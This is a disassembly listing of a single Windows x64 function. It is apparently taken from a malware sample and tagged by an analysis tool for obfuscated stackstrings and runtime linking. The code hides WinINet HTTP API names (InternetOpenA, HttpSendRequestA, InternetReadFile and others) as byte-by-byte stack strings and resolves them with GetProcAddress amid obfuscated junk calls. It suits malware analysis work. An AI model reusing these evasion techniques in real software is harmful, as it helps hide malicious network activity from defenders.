Function at 0x3600460c
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x140
xor edi, edi
cmp qword [0x3601d130], rdi
jne 0x36005128
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0xff
call fcn.36010b50
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x40], 0x57
mov byte [rsp + 0x41], 0x49
mov byte [rsp + 0x42], 0x4e
mov byte [rsp + 0x43], 0x49
mov byte [rsp + 0x44], 0x4e
mov byte [rsp + 0x45], 0x45
mov byte [rsp + 0x46], 0x54
mov byte [rsp + 0x47], dil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, qword [0x3601d400]
mov rbx, rax
cmp r10, rdi
je 0x3600476c
mov r10, qword [r10 + 0x310]
movabs rax, 0x1ce74814cc970356
mov edx, 0x936fe619
mov r9d, 0xe11a9544
mov r8d, 0x56551ec2
mov ecx, 0x5456c04c
sub r10, rax
call r10
mov r11, qword [0x3601d400]
movabs rax, 0x79c047ff11432bd3
mov r10, qword [r11 + 0x258]
mov edx, 0xd6150807
mov r9d, 0x38466bf
mov r8d, 0x305924e2
mov ecx, 0x4f644da3
add r10, rax
mov dword [rsp + 0x28], 0x41f6616c
mov dword [rsp + 0x20], 0xf5f1811b
call r10
mov r11, qword [0x3601d400]
movabs rcx, 0x290533f68116bed8
mov edx, 0x2848bd06
mov rax, qword [r11 + 0x68]
mov r9d, 0x542e4d1b
mov r8d, 0x433b4ce5
xor rax, rcx
mov ecx, 0x56fd8586
mov dword [rsp + 0x28], 0xb882552f
mov dword [rsp + 0x20], 0x3407a71b
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x258]
movabs rcx, 0xda75a05111be707
mov edx, 0xebfc8f51
add rax, rcx
mov r9d, 0xc504f4a6
mov r8d, 0xb17f3514
mov ecx, 0x18ff3e36
mov dword [rsp + 0x20], 0xc9677e63
call rax
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x40], 0x49
mov byte [rsp + 0x41], 0x6e
mov byte [rsp + 0x42], 0x74
mov byte [rsp + 0x43], 0x65
mov byte [rsp + 0x44], 0x72
mov byte [rsp + 0x45], 0x6e
mov byte [rsp + 0x46], 0x65
mov byte [rsp + 0x47], 0x74
mov byte [rsp + 0x48], 0x4f
mov byte [rsp + 0x49], 0x70
mov byte [rsp + 0x4a], 0x65
mov byte [rsp + 0x4b], 0x6e
mov byte [rsp + 0x4c], 0x41
mov byte [rsp + 0x4d], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x3601d130], rax
mov rax, qword [0x3601d400]
cmp rax, rdi
je 0x36004843
mov rax, qword [rax + 0xf8]
xor edx, edx
movabs rcx, 0x5383989fd4e9ad40
div rcx
mov r8d, 0xfb4cab99
mov ecx, 0x6a1e2e43
mov r9, rdx
mov edx, 0x825ec7c2
call r9
mov r11, qword [0x3601d400]
movabs rcx, 0x4e27df27dd2e0013
mov rax, qword [r11 + 0x310]
mov edx, 0x920d16ee
mov r9d, 0xb681b3a0
mov r8d, 0xf39f8d36
mov dword [rsp + 0x28], 0x4d90f427
mov dword [rsp + 0x20], 0xec9894a4
imul rax, rcx
mov ecx, 0x18fec979
call rax
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x48], 0x43
mov byte [rsp + 0x49], 0x6c
mov byte [rsp + 0x4a], 0x6f
mov byte [rsp + 0x4b], 0x73
mov byte [rsp + 0x4c], 0x65
mov byte [rsp + 0x4d], 0x48
mov byte [rsp + 0x4e], 0x61
mov byte [rsp + 0x4f], 0x6e
mov byte [rsp + 0x50], 0x64
mov byte [rsp + 0x51], 0x6c
mov byte [rsp + 0x52], 0x65
mov byte [rsp + 0x53], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x3601d148], rax
mov rax, qword [0x3601d400]
cmp rax, rdi
je 0x36004958
mov rax, qword [rax + 0x100]
movabs rcx, 0x6e0bb6c8cd56036
add rax, rcx
mov ecx, 0x2d6a6b9
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0xb77cba93a4d2ee0b
mov rax, qword [r11]
imul rax, rcx
mov ecx, 0x96a3f63f
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0x552302a20ed5a008
mov rax, qword [r11 + 0x1b8]
mov edx, 0x406a93d
mov r9d, 0xc09671f8
xor rax, rcx
mov r8d, 0x107e36da
mov ecx, 0xd1231f1e
mov dword [rsp + 0x20], 0xb5626d43
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x1d0]
movabs rcx, 0xe4b43a3f9f18bcf0
xor rax, rcx
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0x5a532a1e40da15e6
mov rax, qword [r11 + 0x238]
sub rax, rcx
mov ecx, 0xe74617ef
call rax
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x48], 0x43
mov byte [rsp + 0x49], 0x6f
mov byte [rsp + 0x4a], 0x6e
mov byte [rsp + 0x4b], 0x6e
mov byte [rsp + 0x4c], 0x65
mov byte [rsp + 0x4d], 0x63
mov byte [rsp + 0x4e], 0x74
mov byte [rsp + 0x4f], 0x41
mov byte [rsp + 0x50], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x3601d140], rax
mov rax, qword [0x3601d400]
cmp rax, rdi
je 0x36004a52
mov rax, qword [rax + 0x140]
movabs rcx, 0x478cf80a83a63d8c
mov edx, 0x9c161a85
or rax, rcx
mov r9d, 0x8735306c
mov r8d, 0x90847990
mov ecx, 0x8ce42698
call rax
mov rax, qword [0x3601d400]
xor edx, edx
mov rax, qword [rax + 0x128]
movabs rcx, 0xb55d5c067eea89bb
mov r9d, 0xd07267ab
div rcx
mov r8d, 0x19d0a67c
mov ecx, 0xd8f5d468
mov r10, rdx
mov edx, 0xce9215d0
mov dword [rsp + 0x20], 0xc600ff09
call r10
mov r11, qword [0x3601d400]
movabs rcx, 0x3b422dd24afd1d04
mov rax, qword [r11 + 0x200]
mov edx, 0xaba2fc0f
mov r9d, 0x46a958c7
sub rax, rcx
mov r8d, 0x35f6622d
mov ecx, 0x24092d71
mov dword [rsp + 0x20], 0x305e3644
call rax
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x48], 0x51
mov byte [rsp + 0x49], 0x75
mov byte [rsp + 0x4a], 0x65
mov byte [rsp + 0x4b], 0x72
mov byte [rsp + 0x4c], 0x79
mov byte [rsp + 0x4d], 0x4f
mov byte [rsp + 0x4e], 0x70
mov byte [rsp + 0x4f], 0x74
mov byte [rsp + 0x50], 0x69
mov byte [rsp + 0x51], 0x6f
mov byte [rsp + 0x52], 0x6e
mov byte [rsp + 0x53], 0x41
mov byte [rsp + 0x54], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x3601d138], rax
mov rax, qword [0x3601d400]
cmp rax, rdi
je 0x36004b41
mov rax, qword [rax + 0x130]
movabs rcx, 0x2ec3c008ea430d06
xor rax, rcx
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0x7c3336deaa13b049
mov rax, qword [r11 + 0x190]
mov edx, 0x8f11c9b2
imul rax, rcx
mov ecx, 0x25278854
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0xeeb1886ccd01fed7
mov rax, qword [r11 + 0x120]
mov dword [rsp + 0x30], 0xdc39904d
mov edx, 0xf6a81976
or rax, rcx
mov r9d, 0xd77a0928
mov r8d, 0xa5066bd8
mov ecx, 0x6f00798b
mov dword [rsp + 0x28], 0xf0044d32
mov dword [rsp + 0x20], 0xb139a16a
call rax
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x4d], 0x44
mov byte [rsp + 0x4e], 0x61
mov byte [rsp + 0x4f], 0x74
mov byte [rsp + 0x50], 0x61
mov byte [rsp + 0x51], 0x41
mov byte [rsp + 0x52], 0x76
mov byte [rsp + 0x53], 0x61
mov byte [rsp + 0x54], 0x69
mov byte [rsp + 0x55], 0x6c
mov byte [rsp + 0x56], 0x61
mov byte [rsp + 0x57], 0x62
mov byte [rsp + 0x58], 0x6c
mov byte [rsp + 0x59], 0x65
mov byte [rsp + 0x5a], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x3601d120], rax
mov rax, qword [0x3601d400]
cmp rax, rdi
je 0x36004cb0
mov rax, qword [rax + 0xa8]
movabs rcx, 0x4389721897f9306b
mov edx, 0xbb755d7e
sub rax, rcx
mov r9d, 0xe9a1a366
mov r8d, 0x33c6be66
mov ecx, 0x112ac8b
mov dword [rsp + 0x20], 0x870bd45f
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0x5597c85e78c30b6d
mov rax, qword [r11 + 0x168]
mov edx, 0xd168de15
mov r8d, 0x1895dd32
or rax, rcx
mov ecx, 0x90076eaa
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0xa545d975eb7ccf5e
mov rax, qword [r11 + 0x178]
mov edx, 0x52d4b641
mov r8d, 0xd556a89e
or rax, rcx
mov ecx, 0xefff2d88
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0x4d3e524b70d10c08
mov rax, qword [r11 + 0x98]
mov edx, 0x4ad35cc4
mov r9d, 0x4b2563a3
xor rax, rcx
mov r8d, 0xec7e343f
mov ecx, 0xf73f5e69
mov dword [rsp + 0x20], 0xe22768e4
call rax
mov r11, qword [0x3601d400]
mov rax, qword [r11 + 0x198]
movabs rcx, 0xa2490236fb8dffea
mov edx, 0x1ec8eaff
or rax, rcx
mov r9d, 0xff33e54e
mov r8d, 0x850a108c
mov ecx, 0x281e1aa1
mov dword [rsp + 0x20], 0xcaddb4a5
call rax
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x48], 0x52
mov byte [rsp + 0x49], 0x65
mov byte [rsp + 0x4a], 0x61
mov byte [rsp + 0x4b], 0x64
mov byte [rsp + 0x4c], 0x46
mov byte [rsp + 0x4d], 0x69
mov byte [rsp + 0x4e], 0x6c
mov byte [rsp + 0x4f], 0x65
mov byte [rsp + 0x50], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x48], 0x43
mov qword [0x3601d188], rax
mov byte [rsp + 0x49], 0x72
mov byte [rsp + 0x4a], 0x61
mov byte [rsp + 0x4b], 0x63
mov byte [rsp + 0x4c], 0x6b
mov byte [rsp + 0x4d], 0x55
mov byte [rsp + 0x4e], 0x72
mov byte [rsp + 0x4f], 0x6c
mov byte [rsp + 0x50], 0x41
mov byte [rsp + 0x51], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x49], 0x61
mov byte [rsp + 0x4a], 0x6e
mov qword [0x3601d178], rax
mov byte [rsp + 0x4b], 0x6f
mov byte [rsp + 0x4c], 0x6e
mov byte [rsp + 0x4d], 0x69
mov byte [rsp + 0x4e], 0x63
mov byte [rsp + 0x4f], 0x61
mov byte [rsp + 0x50], 0x6c
mov byte [rsp + 0x51], 0x69
mov byte [rsp + 0x52], 0x7a
mov byte [rsp + 0x53], 0x65
mov byte [rsp + 0x54], 0x55
mov byte [rsp + 0x55], 0x72
mov byte [rsp + 0x56], 0x6c
mov byte [rsp + 0x57], 0x41
mov byte [rsp + 0x58], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x49], 0x68
mov byte [rsp + 0x4a], 0x65
mov byte [rsp + 0x4b], 0x63
mov qword [0x3601d160], rax
mov byte [rsp + 0x4c], 0x6b
mov byte [rsp + 0x4d], 0x43
mov byte [rsp + 0x4e], 0x6f
mov byte [rsp + 0x4f], 0x6e
mov byte [rsp + 0x50], 0x6e
mov byte [rsp + 0x51], 0x65
mov byte [rsp + 0x52], 0x63
mov byte [rsp + 0x53], 0x74
mov byte [rsp + 0x54], 0x69
mov byte [rsp + 0x55], 0x6f
mov byte [rsp + 0x56], 0x6e
mov byte [rsp + 0x57], 0x41
mov byte [rsp + 0x58], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [rsp + 0x48], 0x47
mov byte [rsp + 0x49], 0x65
mov byte [rsp + 0x4a], 0x74
mov qword [0x3601d168], rax
mov byte [rsp + 0x4b], 0x43
mov byte [rsp + 0x4c], 0x6f
mov byte [rsp + 0x4d], 0x6e
mov byte [rsp + 0x4e], 0x6e
mov byte [rsp + 0x4f], 0x65
mov byte [rsp + 0x50], 0x63
mov byte [rsp + 0x51], 0x74
mov byte [rsp + 0x52], 0x65
mov byte [rsp + 0x53], 0x64
mov byte [rsp + 0x54], 0x53
mov byte [rsp + 0x55], 0x74
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x56], 0x61
mov byte [rsp + 0x57], 0x74
mov byte [rsp + 0x58], 0x65
mov byte [rsp + 0x59], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x3601d180], rax
mov rax, qword [0x3601d400]
cmp rax, rdi
je 0x36004ee9
mov rax, qword [rax + 0x318]
movabs rcx, 0x180fe444dbcb1398
xor rax, rcx
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0x983fe45382e39592
mov rax, qword [r11 + 0x110]
mov edx, 0x8b64a551
mov r9d, 0x8272a97d
xor rax, rcx
mov ecx, 0xdc03cca
mov r8d, 0xeb2a9d2
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0x16fffe61133e1bd9
mov rax, qword [r11 + 0x138]
or rax, rcx
mov ecx, 0x23119c15
call rax
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x40], 0x48
mov byte [rsp + 0x41], 0x74
mov byte [rsp + 0x42], 0x74
mov byte [rsp + 0x43], 0x70
mov byte [rsp + 0x44], 0x4f
mov byte [rsp + 0x45], 0x70
mov byte [rsp + 0x46], 0x65
mov byte [rsp + 0x47], 0x6e
mov byte [rsp + 0x48], 0x52
mov byte [rsp + 0x49], 0x65
mov byte [rsp + 0x4a], 0x71
mov byte [rsp + 0x4b], 0x75
mov byte [rsp + 0x4c], 0x65
mov byte [rsp + 0x4d], 0x73
mov byte [rsp + 0x4e], 0x74
mov byte [rsp + 0x4f], 0x41
mov byte [rsp + 0x50], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x3601d158], rax
mov rax, qword [0x3601d400]
cmp rax, rdi
je 0x36004f8b
mov rax, qword [rax + 0x1c8]
movabs rcx, 0x5d710f37dda03069
mov edx, 0x694ba02d
add rax, rcx
mov r9d, 0x73a0aa4c
mov r8d, 0xb6345f5b
mov ecx, 0xf532cab7
call rax
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x44], 0x53
mov byte [rsp + 0x45], 0x65
mov byte [rsp + 0x46], 0x6e
mov byte [rsp + 0x47], 0x64
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x3601d128], rax
mov rax, qword [0x3601d400]
cmp rax, rdi
je 0x36005068
mov rax, qword [rax + 0x178]
movabs rcx, 0x6fd524174e901b71
add rax, rcx
mov ecx, 0xe1d6374f
call rax
mov r11, qword [0x3601d400]
movabs rcx, 0x57fef05d00f1028d
mov rax, qword [r11 + 0x148]
mov edx, 0x371ee208
mov r9d, 0x50ccc130
add rax, rcx
mov r8d, 0x63172168
mov ecx, 0x594fd62c
mov dword [rsp + 0x20], 0xfac617da
call rax
mov rax, qword [0x3601d400]
mov rax, qword [rax + 0x70]
xor edx, edx
movabs rcx, 0x23f709c64b3d8290
div rcx
mov dword [rsp + 0x30], 0x66fb7fe9
mov r9d, 0xbc931124
mov r10, rdx
mov r8d, 0x1b1a6d47
mov ecx, 0x618388c7
mov edx, 0xfdd0b22d
mov dword [rsp + 0x28], 0x13014a9d
mov dword [rsp + 0x20], 0xddee528e
call r10
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x44], 0x51
mov byte [rsp + 0x45], 0x75
mov byte [rsp + 0x46], 0x65
mov byte [rsp + 0x47], 0x72
mov byte [rsp + 0x48], 0x79
mov byte [rsp + 0x49], 0x49
mov byte [rsp + 0x4a], 0x6e
mov byte [rsp + 0x4b], 0x66
mov byte [rsp + 0x4c], 0x6f
mov byte [rsp + 0x4d], 0x41
mov byte [rsp + 0x4e], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov byte [rsp + 0x44], 0x41
mov byte [rsp + 0x45], 0x64
mov qword [0x3601d170], rax
mov byte [rsp + 0x46], 0x64
mov byte [rsp + 0x47], 0x52
mov byte [rsp + 0x48], 0x65
mov byte [rsp + 0x49], 0x71
mov byte [rsp + 0x4a], 0x75
mov byte [rsp + 0x4b], 0x65
mov byte [rsp + 0x4c], 0x73
mov byte [rsp + 0x4d], 0x74
mov byte [rsp + 0x4e], 0x48
mov byte [rsp + 0x4f], 0x65
mov byte [rsp + 0x50], 0x61
mov byte [rsp + 0x51], 0x64
mov byte [rsp + 0x52], 0x65
mov byte [rsp + 0x53], 0x72
mov byte [rsp + 0x54], 0x73
mov byte [rsp + 0x55], 0x41
mov byte [rsp + 0x56], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x3601d150], rax
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret